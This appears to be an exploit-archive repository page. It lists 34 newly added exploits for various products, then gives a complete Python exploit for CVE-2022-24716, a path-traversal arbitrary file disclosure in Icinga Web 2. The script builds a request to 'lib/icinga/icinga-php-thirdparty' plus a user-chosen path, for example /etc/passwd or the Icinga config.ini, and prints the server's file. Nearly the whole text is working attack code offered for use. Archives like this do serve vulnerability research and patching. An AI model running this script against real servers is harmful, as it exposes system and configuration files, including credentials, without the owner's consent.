85954a8fad
34 changes to exploits/shellcodes/ghdb ENTAB ERP 1.0 - Username PII leak ReQlogic v11.3 - Reflected Cross-Site Scripting (XSS) ZCBS/ZBBS/ZPBS v4.14k - Reflected Cross-Site Scripting (XSS) FortiRecorder 6.4.3 - Denial of Service Schneider Electric v1.0 - Directory traversal & Broken Authentication Altenergy Power Control Software C1.2.5 - OS command injection Goanywhere Encryption helper 7.1.1 - Remote Code Execution (RCE) Pentaho BA Server EE 9.3.0.0-428 - Remote Code Execution (RCE) (Unauthenticated) Google Chrome 109.0.5414.74 - Code Execution via missing lib file (Ubuntu) Lucee Scheduled Job v1.0 - Command Execution Microsoft Excel 365 MSO (Version 2302 Build 16.0.16130.20186) 64-bit - Remote Code Execution (RCE) Adobe Connect 11.4.5 - Local File Disclosure Palo Alto Cortex XSOAR 6.5.0 - Stored Cross-Site Scripting (XSS) Suprema BioStar 2 v2.8.16 - SQL Injection Symantec Messaging Gateway 10.7.4 - Stored Cross-Site Scripting (XSS) dotclear 2.25.3 - Remote Code Execution (RCE) (Authenticated) GLPI v10.0.1 - Unauthenticated Sensitive Data Exposure Icinga Web 2.10 - Arbitrary File Disclosure Joomla! v4.2.8 - Unauthenticated information disclosure Medicine Tracker System v1.0 - Sql Injection Online Appointment System V1.0 - Cross-Site Scripting (XSS) Online-Pizza-Ordering -1.0 - Remote Code Execution (RCE) pfsenseCE v2.6.0 - Anti-brute force protection bypass Restaurant Management System 1.0 - SQL Injection WebsiteBaker v2.13.3 - Cross-Site Scripting (XSS) X2CRM v6.6/6.9 - Reflected Cross-Site Scripting (XSS) (Authenticated) X2CRM v6.6/6.9 - Stored Cross-Site Scripting (XSS) (Authenticated) Microsoft Windows 11 - 'cmd.exe' Denial of Service ActFax 10.10 - Unquoted Path Services ESET Service 16.0.26.0 - 'Service ekrn' Unquoted Service Path RSA NetWitness Platform 12.2 - Incorrect Access Control / Code Execution Stonesoft VPN Client 6.2.0 / 6.8.0 - Local Privilege Escalation
68 lines
No EOL
2.4 KiB
Python
Executable file
68 lines
No EOL
2.4 KiB
Python
Executable file
#!/usr/bin/env python3
|
|
|
|
# Exploit Title: Icinga Web 2.10 - Arbitrary File Disclosure
|
|
# Date: 2023-03-19
|
|
# Exploit Author: Jacob Ebben
|
|
# Vendor Homepage: https://icinga.com/
|
|
# Software Link: https://github.com/Icinga/icingaweb2
|
|
# Version: <2.8.6, <2.9.6, <2.10
|
|
# Tested on: Icinga Web 2 Version 2.9.2 on Linux
|
|
# CVE: CVE-2022-24716
|
|
# Based on: https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/
|
|
|
|
import argparse
|
|
import requests
|
|
from termcolor import colored
|
|
|
|
def print_message(message, type):
|
|
if type == 'SUCCESS':
|
|
print('[' + colored('SUCCESS', 'green') + '] ' + message)
|
|
elif type == 'INFO':
|
|
print('[' + colored('INFO', 'blue') + '] ' + message)
|
|
elif type == 'WARNING':
|
|
print('[' + colored('WARNING', 'yellow') + '] ' + message)
|
|
elif type == 'ALERT':
|
|
print('[' + colored('ALERT', 'yellow') + '] ' + message)
|
|
elif type == 'ERROR':
|
|
print('[' + colored('ERROR', 'red') + '] ' + message)
|
|
|
|
def get_normalized_url(url):
|
|
if url[-1] != '/':
|
|
url += '/'
|
|
if url[0:7].lower() != 'http://' and url[0:8].lower() != 'https://':
|
|
url = "http://" + url
|
|
return url
|
|
|
|
def get_proxy_protocol(url):
|
|
if url[0:8].lower() == 'https://':
|
|
return 'https'
|
|
return 'http'
|
|
|
|
parser = argparse.ArgumentParser(description='Arbitrary File Disclosure Vulnerability in Icinga Web <2.8.6, <2.9.6, <2.10')
|
|
parser.add_argument('TARGET', type=str,
|
|
help='Target Icinga location (Example: http://localhost:8080/icinga2/ or https://victim.xyz/icinga/)')
|
|
parser.add_argument('FILE', type=str,
|
|
help='Filename to gather from exploit (Example: "/etc/passwd" or "/etc/icingaweb2/config.ini")')
|
|
parser.add_argument('-P','--proxy', type=str,
|
|
help='HTTP proxy address (Example: http://127.0.0.1:8080/)')
|
|
args = parser.parse_args()
|
|
|
|
if args.proxy:
|
|
proxy_url = get_normalized_url(args.proxy)
|
|
proxy_protocol = get_proxy_protocol(proxy_url)
|
|
proxies = { proxy_protocol: proxy_url }
|
|
else:
|
|
proxies = {}
|
|
|
|
base_url = get_normalized_url(args.TARGET)
|
|
exploit_url = base_url + "lib/icinga/icinga-php-thirdparty" + args.FILE
|
|
|
|
request = requests.get(base_url, proxies=proxies)
|
|
if request.status_code == 404:
|
|
print_message("Could not connect to provided URL!", "ERROR")
|
|
exit()
|
|
|
|
request = requests.get(exploit_url, proxies=proxies)
|
|
file_content = request.text
|
|
|
|
print(file_content) |